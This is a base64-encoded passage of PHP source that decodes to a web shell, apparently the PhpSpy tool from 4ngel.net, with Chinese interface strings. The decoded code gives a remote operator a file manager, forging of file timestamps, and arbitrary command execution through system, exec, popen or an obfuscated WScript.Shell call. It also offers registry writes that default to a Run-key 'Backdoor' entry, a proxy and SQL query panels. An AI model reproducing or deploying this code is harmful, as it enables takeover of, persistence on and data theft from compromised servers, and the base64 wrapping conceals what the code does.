iIpIHsNCgkJCQllY2hvICI8dHIgY2xhc3M9Ii5nZXRyb3diZygpLiI+XG4iOw0KCQkJCWVjaG8gIiAgPHRkIG5vd3JhcCBjb2xzcGFuPVwiNlwiIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+PGEgaHJlZj1cIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIi8iLnVybGVuY29kZSgkZmlsZSkuIlwiPre1u9jJz7y2xL/CvDwvYT48L3RkPlxuIjsNCgkJCQllY2hvICI8L3RyPlxuIjsNCgkJCX0NCgkJfQ0KCX0NCn0vLyB3aGlsZQ0KQGNsb3NlZGlyKCRkaXJzKTsgDQo/Pg0KPHRyIGJnY29sb3I9IiNjY2NjY2MiPg0KICA8dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPg0KPC90cj4NCjxGT1JNIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KPD8NCi8vIM7EvP7B0LHtDQokZGlycz1Ab3BlbmRpcigkZGlyKTsNCiRmaWxlX2kgPSAnMCc7DQp3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJJGZpbGVwYXRoPSIkZGlyLyRmaWxlIjsNCgkkYT1AaXNfZGlyKCRmaWxlcGF0aCk7DQoJaWYoJGE9PSIwIil7CQkNCgkJJHNpemU9QGZpbGVzaXplKCRmaWxlcGF0aCk7DQoJCSRzaXplPSRzaXplLzEwMjQgOw0KCQkkc2l6ZT0gQG51bWJlcl9mb3JtYXQoJHNpemUsIDMpOw0KCQlpZiAoQGZpbGVjdGltZSgkZmlsZXBhdGgpID09IEBmaWxlbXRpbWUoJGZpbGVwYXRoKSkgew0KCQkJJGN0aW1lPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVjdGltZSgkZmlsZXBhdGgpKTsNCgkJCSRtdGltZT1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCX0gZWxzZSB7DQoJCQkkY3RpbWU9IjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPiIuQGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZWN0aW1lKCRmaWxlcGF0aCkpLiI8L3NwYW4+IjsNCgkJCSRtdGltZT0iPHNwYW4gY2xhc3M9XCJyZWRmb250XCI+Ii5AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJGZpbGVwYXRoKSkuIjwvc3Bhbj4iOw0KCQl9DQoJCUAkZmlsZXBlcm09c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOw0KCQllY2hvICI8dHIgY2xhc3M9Ii5nZXRyb3diZygpLiI+XG4iOw0KCQllY2hvICIgIDx0ZCBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPiI7DQoJCWVjaG8gIjxJTlBVVCB0eXBlPWNoZWNrYm94IHZhbHVlPTEgbmFtZT1kbFskZmlsZXBhdGhdPiI7DQoJCWVjaG8gIjxhIGhyZWY9XCIkZmlsZXBhdGhcIiB0YXJnZXQ9XCJfYmxhbmtcIj4kZmlsZTwvYT48L3RkPlxuIjsNCgkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+JGN0aW1lPC90ZD5cbiI7DQoJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPiRtdGltZTwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cInJpZ2h0XCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPiRzaXplPC9zcGFuPiBLQjwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj48YSBocmVmPVwiP2FjdGlvbj1maWxlcGVybSZkaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZmaWxlPSIudXJsZW5jb2RlKCRmaWxlKS4iXCI+JGZpbGVwZXJtPC9hPjwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcD48YSBocmVmPVwiP2Rvd25maWxlPSIudXJsZW5jb2RlKCRmaWxlcGF0aCkuIlwiPs/C1Ng8L2E+IHwgPGEgaHJlZj1cIj9hY3Rpb249ZWRpdGZpbGUmZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZWRpdGZpbGU9Ii51cmxlbmNvZGUoJGZpbGUpLiJcIj6x4LytPC9hPiB8IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cInJlYWxseSgnIi51cmxlbmNvZGUoJGRpcikuIicsJyIudXJsZW5jb2RlKCRmaWxlcGF0aCkuIicsJ8TjyLe2qNKqyb6z/SAkZmlsZSDOxLz+wvA/JywnMicpXCI+yb6z/TwvYT4gfCA8YSBocmVmPVwiP2FjdGlvbj1yZW5hbWUmZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZm5hbWU9Ii51cmxlbmNvZGUoJGZpbGVwYXRoKS4iXCI+uMTD+zwvYT4gfCA8YSBocmVmPVwiP2FjdGlvbj1uZXd0aW1lJmRpcj0iLnVybGVuY29kZSgkZGlyKS4iJmZpbGU9Ii51cmxlbmNvZGUoJGZpbGVwYXRoKS4iXCI+yrG85DwvYT48L3RkPlxuIjsNCgkJZWNobyAiPC90cj5cbiI7DQoJCSRmaWxlX2krKzsNCgl9DQp9Ly8gd2hpbGUNCkBjbG9zZWRpcigkZGlycyk7IA0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiIGFsaWduPSJjZW50ZXIiPjx0cj48dGQ+Jy4kdGItPm1ha2VpbnB1dCgnY2hrYWxsJywnb24nLCdvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIicsJ2NoZWNrYm94JywnMzAnLCcnKS4nICcuJHRiLT5tYWtlaW5wdXQoJ2Rvd25yYXInLCfRodbQzsS8/rTysPzPwtTYJywnJywnc3VibWl0JykuJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyC49sS/wrwgLyAnLiRmaWxlX2kuJyC49s7EvP48L3RkPjwvdHI+PC90YWJsZT4nLCdjZW50ZXInLGdldHJvd2JnKCksJycsJycsJzYnKTsNCg0KZWNobyAiPC9GT1JNPlxuIjsNCmVjaG8gIjwvdGFibGU+XG4iOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gImVkaXRmaWxlIikgew0KCWlmKGVtcHR5KCRuZXdmaWxlKSkgew0KCQkkZmlsZW5hbWU9IiRkaXIvJGVkaXRmaWxlIjsNCgkJJGZwPUBmb3BlbigkZmlsZW5hbWUsInIiKTsNCgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJCSRjb250ZW50cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJfWVsc2V7DQoJCSRlZGl0ZmlsZT0kbmV3ZmlsZTsNCgkJJGZpbGVuYW1lID0gIiRkaXIvJGVkaXRmaWxlIjsNCgl9DQoJJGFjdGlvbiA9ICI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZWRpdGZpbGU9Ii4kZWRpdGZpbGU7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfQwr2oL7HgvK3OxLz+Jyk7DQoJJHRiLT50ZGJvZHkoJ7Wxx7DOxLz+OiAnLiR0Yi0+bWFrZWlucHV0KCdlZGl0ZmlsZW5hbWUnLCRmaWxlbmFtZSkuJyDK5Mjr0MLOxLz+w/vU8r2owaLQws7EvP4nKTsNCgkkdGItPnRkYm9keSgkdGItPm1ha2V0ZXh0YXJlYSgnZmlsZWNvbnRlbnQnLCRjb250ZW50cykpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdkb2VkaXRmaWxlJyk7DQoJJHRiLT5mb3JtZm9vdGVyKCcxJywnMzAnKTsNCn0vL2VuZCBlZGl0ZmlsZQ0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicmVuYW1lIikgew0KCSRub3dmaWxlID0gKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSkgPyAkX1BPU1RbJ25ld25hbWUnXSA6IGJhc2VuYW1lKCRfR0VUWydmbmFtZSddKTsNCgkkYWN0aW9uID0gIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZmbmFtZT0iLnVybGVuY29kZSgkZm5hbWUpOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn0N64xM7EvP7D+ycpOw0KCSR0Yi0+bWFrZWhpZGRlbignb2xkbmFtZScsJGRpci4iLyIuJG5vd2ZpbGUpOw0KCSR0Yi0+bWFrZWhpZGRlbignZGlyJywkZGlyKTsNCgkkdGItPnRkYm9keSgntbHHsM7EvP7D+zogJy5iYXNlbmFtZSgkbm93ZmlsZSkpOw0KCSR0Yi0+dGRib2R5KCe4xMP7zqo6ICcuJHRiLT5tYWtlaW5wdXQoJ25ld25hbWUnKSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ3JlbmFtZScpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQp9Ly9lbmQgcmVuYW1lDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJmaWxlcGVybSIpIHsNCgkkYWN0aW9uID0gIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZmaWxlPSIuJGZpbGU7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfQ3rjEzsS8/sr00NQnKTsNCgkkdGItPnRkYm9keSgn0N64xCAnLiRmaWxlLicgtcTK9NDUzqo6ICcuJHRiLT5tYWtlaW5wdXQoJ2ZpbGVwZXJtJyxzdWJzdHIoYmFzZV9jb252ZXJ0KGZpbGVwZXJtcygkZGlyLicvJy4kZmlsZSksMTAsOCksLTQpKSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdmaWxlJywkZmlsZSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkaXInLHVybGVuY29kZSgkZGlyKSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ2VkaXRmaWxlcGVybScpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQp9Ly9lbmQgZmlsZXBlcm0NCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gIm5ld3RpbWUiKSB7DQoJJGFjdGlvbiA9ICI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpOw0KCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCe/y8KhzsS8/tfuuvPQ3rjEyrG85CcpOw0KCSR0Yi0+dGRib2R5KCLQ3rjEzsS8/jogIi4kdGItPm1ha2VpbnB1dCgnY3VyZmlsZScsJGZpbGUsJ3JlYWRvbmx5JykuIiCh+iDEv7HqzsS8/jogIi4kdGItPm1ha2VpbnB1dCgndGFyZmlsZScsJ9DozO7N6tX7wre+trywzsS8/sP7JyksJ2NlbnRlcicsJzInLCczMCcpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdkb21vZHRpbWUnKTsNCgkkdGItPmZvcm1mb290ZXIoJycsJzMwJyk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ9fUtqjS5c7EvP7X7rrz0N64xMqxvOQnKTsNCgkkdGItPnRkYm9keSgnPGJyPjx1bD48bGk+09DQp7XEyrG85LTBteTQzbe2zqfKx7TTuPHB1s3+1s7KsbzkIDE5MDEgxOogMTIg1MIgMTMgyNUg0MfG2s7lIDIwOjQ1OjU0ILW9IDIwMzjE6iAxINTCIDE5IMjVINDHxtq2/iAwMzoxNDowNzxicj4ouMPI1cbauPm+3SAzMiDOu9PQt/u6xdX7yv21xNfu0KHWtbrN1+6089a1tvjAtCk8L2xpPjxsaT7LtcP3OiDI1cihIDAxILW9IDMwINauvOQsIMqxyKEgMCC1vSAyNCDWrrzkLCC31rrNw+vIoSAwILW9IDYwINauvOQhPC9saT48L3VsPicsJ2xlZnQnKTsNCgkkdGItPnRkYm9keSgntbHHsM7EvP7D+zogJy4kZmlsZSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdjdXJmaWxlJywkZmlsZSk7DQoJJHRiLT50ZGJvZHkoJ9DeuMTOqjogJy4kdGItPm1ha2VpbnB1dCgneWVhcicsJzE5ODQnLCcnLCd0ZXh0JywnNCcpLicgxOogJy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCdvcHRpb24nPT4kY2FjaGVtb250aCwnc2VsZWN0ZWQnPT4nT2N0b2JlcicpKS4nINTCICcuJHRiLT5tYWtlaW5wdXQoJ2RhdGEnLCcxOCcsJycsJ3RleHQnLCcyJykuJyDI1SAnLiR0Yi0+bWFrZWlucHV0KCdob3VyJywnMjAnLCcnLCd0ZXh0JywnMicpLicgyrEgJy4kdGItPm1ha2VpbnB1dCgnbWludXRlJywnMDAnLCcnLCd0ZXh0JywnMicpLicgt9YgJy4kdGItPm1ha2VpbnB1dCgnc2Vjb25kJywnMDAnLCcnLCd0ZXh0JywnMicpLicgw+snLCdjZW50ZXInLCcyJywnMzAnKTsNCgkkdGItPm1ha2VoaWRkZW4oJ2RvJywnbW9kbXl0aW1lJyk7DQoJJHRiLT5mb3JtZm9vdGVyKCcxJywnMzAnKTsNCn0vL2VuZCBuZXd0aW1lDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJzaGVsbCIpIHsNCgkkYWN0aW9uID0gIj8/YWN0aW9uPXNoZWxsJmRpcj0iLnVybGVuY29kZSgkZGlyKTsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT50ZGhlYWRlcignV2ViU2hlbGwgTW9kZScpOw0KDQoJaWYgKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nKSB7DQoJCSRwcm9ncmFtID0gaXNzZXQoJF9QT1NUWydwcm9ncmFtJ10pID8gJF9QT1NUWydwcm9ncmFtJ10gOiAiYzpcd2lubnRcc3lzdGVtMzJcY21kLmV4ZSI7DQoJCSRwcm9nID0gaXNzZXQoJF9QT1NUWydwcm9nJ10pID8gJF9QT1NUWydwcm9nJ10gOiAiL2MgbmV0IHN0YXJ0ID4gIi4kcGF0aG5hbWUuIi9sb2cudHh0IjsNCgkJZWNobyAiPGZvcm0gYWN0aW9uPVwiP2FjdGlvbj1zaGVsbCZkaXI9Ii51cmxlbmNvZGUoJGRpcikuIlwiIG1ldGhvZD1cIlBPU1RcIj5cbiI7DQoJCSR0Yi0+dGRib2R5KCfO3rvYz9TUy9DQs8zQ8iCh+iDOxLz+OiAnLiR0Yi0+bWFrZWlucHV0KCdwcm9ncmFtJywkcHJvZ3JhbSkuJyCyzsr9OiAnLiR0Yi0+bWFrZWlucHV0KCdwcm9nJywkcHJvZywnJywndGV4dCcsJzQwJykuJyAnLiR0Yi0+bWFrZWlucHV0KCcnLCdSdW4nLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMicsJzM1Jyk7DQoJCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdwcm9ncmFtcnVuJyk7DQoJCWVjaG8gIjwvZm9ybT5cbiI7DQoJfQ0KDQoJZWNobyAiPGZvcm0gYWN0aW9uPVwiP2FjdGlvbj1zaGVsbCZkaXI9Ii51cmxlbmNvZGUoJGRpcikuIlwiIG1ldGhvZD1cIlBPU1RcIj5cbiI7DQoJJHRiLT50ZGJvZHkoJ8zhyr46yOe5+8rks/a94bn7srvN6sirLL2o0umw0crks/a94bn70LTI687EvP4u1eLR+b/J0tS1w7W9yKuyv8TayN0uJyk7DQoJDQoJJGV4ZWNmdW5jcyA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAnV0lOJykgPyBhcnJheSgnc3lzdGVtJz0+J3N5c3RlbScsJ3Bhc3N0aHJ1Jz0+J3Bhc3N0aHJ1JywnZXhlYyc9PidleGVjJywnc2hlbGxfZXhlYyc9PidzaGVsbF9leGVjJywncG9wZW4nPT4ncG9wZW4nLCd3c2NyaXB0Jz0+J1dzY3JpcHQuU2hlbGwnKSA6IGFycmF5KCdzeXN0ZW0nPT4nc3lzdGVtJywncGFzc3RocnUnPT4ncGFzc3RocnUnLCdleGVjJz0+J2V4ZWMnLCdzaGVsbF9leGVjJz0+J3NoZWxsX2V4ZWMnLCdwb3Blbic9Pidwb3BlbicpOw0KDQoJJHRiLT50ZGJvZHkoJ9Gh1PHWtNDQuq/K/TogJy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNzLCdzZWxlY3RlZCc9PiRleGVjZnVuYykpLicgyuTI68P8we46ICcuJHRiLT5tYWtlaW5wdXQoJ2NvbW1hbmQnLCRfUE9TVFsnY29tbWFuZCddLCcnLCd0ZXh0JywnNjAnKS4nICcuJHRiLT5tYWtlaW5wdXQoJycsJ1J1bicsJycsJ3N1Ym1pdCcpKTsNCj8+DQogIDx0ciBjbGFzcz0ic2Vjb25kYWx0Ij4NCiAgICA8dGQgYWxpZ249ImNlbnRlciI+PHRleHRhcmVhIG5hbWU9InRleHRhcmVhIiBjb2xzPSIxMDAiIHJvd3M9IjI1IiByZWFkb25seT48P3BocA0KCWlmICghZW1wdHkoJF9QT1NUWydjb21tYW5kJ10pKSB7DQoJCWlmICgkZXhlY2Z1bmM9PSJzeXN0ZW0iKSB7DQoJCQlzeXN0ZW0oJF9QT1NUWydjb21tYW5kJ10pOw0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0icGFzc3RocnUiKSB7DQoJCQlwYXNzdGhydSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJleGVjIikgew0KCQkJJHJlc3VsdCA9IGV4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KCQkJZWNobyAkcmVzdWx0Ow0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ic2hlbGxfZXhlYyIpIHsNCgkJCSRyZXN1bHQ9c2hlbGxfZXhlYygkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCQllY2hvICRyZXN1bHQ7CQ0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0icG9wZW4iKSB7DQoJCQkkcHAgPSBwb3BlbigkX1BPU1RbJ2NvbW1hbmQnXSwgJ3InKTsNCgkJCSRyZWFkID0gZnJlYWQoJHBwLCAyMDk2KTsNCgkJCWVjaG8gJHJlYWQ7DQoJCQlwY2xvc2UoJHBwKTsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09IndzY3JpcHQiKSB7DQoJCQkkd3NoID0gbmV3IENPTSgnVycuJ1NjcicuJ2lwJy4ndC5zaGUnLidsbCcpIG9yIGRpZSgiUEhQIENyZWF0ZSBDT00gV1NIU0hFTEwgZmFpbGVkIik7DQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMgKCJjbSIuImQuZSIuInhlIC9jICIuJF9QT1NUWydjb21tYW5kJ10uIiIpOw0KCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7DQoJCQllY2hvICRzdHJvdXRwdXQ7DQoJCX0gZWxzZSB7DQoJCQlzeXN0ZW0oJF9QT1NUWydjb21tYW5kJ10pOw0KCQl9DQoJfQ0KCT8+PC90ZXh0YXJlYT48L3RkPg0KICA8L3RyPiAgDQogIDwvZm9ybT4NCjwvdGFibGU+DQo8P3BocA0KfS8vZW5kIHNoZWxsDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJyZWciKSB7DQoJJGFjdGlvbiA9ICc/YWN0aW9uPXJlZyc7DQoJJHJlZ25hbWUgPSBpc3NldCgkX1BPU1RbJ3JlZ25hbWUnXSkgPyAkX1BPU1RbJ3JlZ25hbWUnXSA6ICdIS0VZX0xPQ0FMX01BQ0hJTkVcU1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XENvbnRyb2xcVGVybWluYWwgU2VydmVyXFdkc1xyZHB3ZFxUZHNcdGNwXFBvcnROdW1iZXInOw0KCSRyZWdpc3RyZSA9IGlzc2V0KCRfUE9TVFsncmVnaXN0cmUnXSkgPyAkX1BPU1RbJ3JlZ2lzdHJlJ10gOiAnSEtFWV9MT0NBTF9NQUNISU5FXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1blxCYWNrZG9vcic7DQoJJHJlZ3ZhbCA9IGlzc2V0KCRfUE9TVFsncmVndmFsJ10pID8gJF9QT1NUWydyZWd2YWwnXSA6ICdjOlx3aW5udFxiYWNrZG9vci5leGUnOw0KCSRkZWxyZWduYW1lID0gJF9QT1NUWydkZWxyZWduYW1lJ107DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCe2wcih16Ky4bHtJyk7DQoJJHRiLT50ZGJvZHkoJ7z81rU6ICcuJHRiLT5tYWtlaW5wdXQoJ3JlYWRyZWduYW1lJywkcmVnbmFtZSwnJywndGV4dCcsJzEwMCcpLicgJy4kdGItPm1ha2VpbnB1dCgncmVncmVhZCcsJ7bByKEnLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMicsJzUwJyk7DQoJZWNobyAiPC9mb3JtPiI7DQoNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn0LTI69eisuGx7ScpOw0KCSRjYWNoZXJlZ3R5cGUgPSBhcnJheSgnUkVHX1NaJz0+J1JFR19TWicsJ1JFR19CSU5BUlknPT4nUkVHX0JJTkFSWScsJ1JFR19EV09SRCc9PidSRUdfRFdPUkQnLCdSRUdfTVVMVElfU1onPT4nUkVHX01VTFRJX1NaJywnUkVHX0VYUEFORF9TWic9PidSRUdfRVhQQU5EX1NaJyk7DQoJJHRiLT50ZGJvZHkoJ7z81rU6ICcuJHRiLT5tYWtlaW5wdXQoJ3dyaXRlcmVnbmFtZScsJHJlZ2lzdHJlLCcnLCd0ZXh0JywnNTYnKS4nIMDg0M06ICcuJHRiLT5tYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3JlZ3R5cGUnLCdvcHRpb24nPT4kY2FjaGVyZWd0eXBlLCdzZWxlY3RlZCc9PiRyZWd0eXBlKSkuJyDWtTogICcuJHRiLT5tYWtlaW5wdXQoJ3JlZ3ZhbCcsJHJlZ3ZhbCwnJywndGV4dCcsJzE1JykuJyAnLiR0Yi0+bWFrZWlucHV0KCdyZWd3cml0ZScsJ9C0yOsnLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMicsJzUwJyk7DQoJZWNobyAiPC9mb3JtPiI7DQoNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwnyb6z/deisuGx7ScpOw0KCSR0Yi0+dGRib2R5KCe8/Na1OiAnLiR0Yi0+bWFrZWlucHV0KCdkZWxyZWduYW1lJywkZGVscmVnbmFtZSwnJywndGV4dCcsJzEwMCcpLicgJy4kdGItPm1ha2VpbnB1dCgncmVnZGVsZXRlJywnyb6z/ScsJycsJ3N1Ym1pdCcpLCdjZW50ZXInLCcyJywnNTAnKTsNCgllY2hvICI8L2Zvcm0+IjsNCgkkdGItPnRhYmxlZm9vdGVyKCk7DQp9Ly9lbmQgcmVnDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJwcm94eSIpIHsNCgkkYWN0aW9uID0gJz9hY3Rpb249cHJveHknOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn1NrP37T6wO0nLCdwcm94eWZyYW1lJyk7DQoJJHRiLT50ZGJvZHkoJzxicj48dWw+PGxpPtPDsb65psTcvfbKtc/WvPK1pbXEIEhUVFAgtPrA7Syyu7vhz9TKvsq508PP4LbUwre+trXEzbzGrKGiwbS907ywQ1NT0fnKvbHtLjwvbGk+PGxpPtPDsb65psTcv8nS1M2ouf2xvrf+zvHG9+SvwMDEv7HqVVJMLLWrsrvWp7PWIFNRTCBJbmplY3Rpb24gzL2y4tLUvLDEs9CpzNjK4tfWt/suPC9saT48bGk+08OxvrmmxNzkr8DAtcQgVVJMLNTaxL+x6tb3u/rJz8H0z8K1xElQvMfCvMrHIDogJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9saT48L3VsPicsJ2xlZnQnKTsNCgkkdGItPnRkYm9keSgnVVJMOiAnLiR0Yi0+bWFrZWlucHV0KCd1cmwnLCdodHRwOi8vd3d3LjRuZ2VsLm5ldCcsJycsJ3RleHQnLCcxMDAnKS4nICcuJHRiLT5tYWtlaW5wdXQoJycsJ+SvwMAnLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMScsJzQwJyk7DQoJJHRiLT50ZGJvZHkoJzxpZnJhbWUgbmFtZT0icHJveHlmcmFtZSIgZnJhbWVib3JkZXI9IjAiIHdpZHRoPSI3NjUiIGhlaWdodD0iNDAwIiBtYXJnaW5oZWlnaHQ9IjAiIG1hcmdpbndpZHRoPSIwIiBzY3JvbGxpbmc9ImF1dG8iIHNyYz0iaHR0cDovL3d3dy40bmdlbC5uZXQiPjwvaWZyYW1lPicpOw0KCWVjaG8gIjwvZm9ybT4iOw0KCSR0Yi0+dGFibGVmb290ZXIoKTsNCn0vL2VuZCBwcm94eQ0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAic3FsIikgew0KCSRhY3Rpb24gPSAnP2FjdGlvbj1zcWwnOw0KCSRzZXJ2ZXJuYW1lID0gaXNzZXQoJF9QT1NUWydzZXJ2ZXJuYW1lJ10pID8gJF9QT1NUWydzZXJ2ZXJuYW1lJ10gOiAnbG9jYWxob3N0JzsNCgkkZGJ1c2VybmFtZSA9IGlzc2V0KCRfUE9TVFsnZGJ1c2VybmFtZSddKSA/ICRfUE9TVFsnZGJ1c2VybmFtZSddIDogJ3Jvb3QnOw0KCSRkYnBhc3N3b3JkID0gJF9QT1NUWydkYnBhc3N3b3JkJ107DQoJJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQoJJHNxbF9xdWVyeSA9ICRfUE9TVFsnc3FsX3F1ZXJ5J107DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfWtNDQIFNRTCDT777kJyk7DQoJJHRiLT50ZGJvZHkoJ0hvc3Q6ICcuJHRiLT5tYWtlaW5wdXQoJ3NlcnZlcm5hbWUnLCRzZXJ2ZXJuYW1lLCcnLCd0ZXh0JywnMjAnKS4nIFVzZXI6ICcuJHRiLT5tYWtlaW5wdXQoJ2RidXNlcm5hbWUnLCRkYnVzZXJuYW1lLCcnLCd0ZXh0JywnMTUnKS4nIFBhc3M6ICcuJHRiLT5tYWtlaW5wdXQoJ2RicGFzc3dvcmQnLCRkYnBhc3N3b3JkLCcnLCd0ZXh0JywnMTUnKS4nIERCOiAnLiR0Yi0+bWFrZWlucHV0KCdkYm5hbWUnLCRkYm5hbWUsJycsJ3RleHQnLCcxNScpLicgJy4kdGItPm1ha2VpbnB1dCgnY29ubmVjdCcsJ8GsvdMnLCcnLCdzdWJtaXQnKSk7DQoJJHRiLT50ZGJvZHkoJHRiLT5tYWtldGV4dGFyZWEoJ3NxbF9xdWVyeScsJHNxbF9xdWVyeSwnODUnLCcxMCcpKTsNCgkkdGItPm1ha2VoaWRkZW4oJ2RvJywncXVlcnknKTsNCgkkdGItPmZvcm1mb290ZXIoJzEnLCczMCcpOw0KfS8vZW5kIHNxbCBxdWVyeQ0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAic3FsYmFrIikgew0KCSRhY3Rpb24gPSAnP2FjdGlvbj1zcWxiYWsnOw0KCSRzZXJ2ZXJuYW1lID0gaXNzZXQoJF9QT1NUWydzZXJ2ZXJuYW1lJ10pID8gJF9QT1NUWydzZXJ2ZXJuYW1lJ10gOiAnbG9jYWxob3N0JzsNCgkkZGJ1c2VybmFtZSA9IGlzc2V0KCRfUE9TVFsnZGJ1c2VybmFtZSddKSA/ICRfUE9TVFsnZGJ1c2VybmFtZSddIDogJ3Jvb3QnOw0KCSRkYnBhc3N3b3JkID0gJF9QT1NUWydkYnBhc3N3b3JkJ107DQoJJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQoJJHRiLT50YWJsZWhlYWRlcigp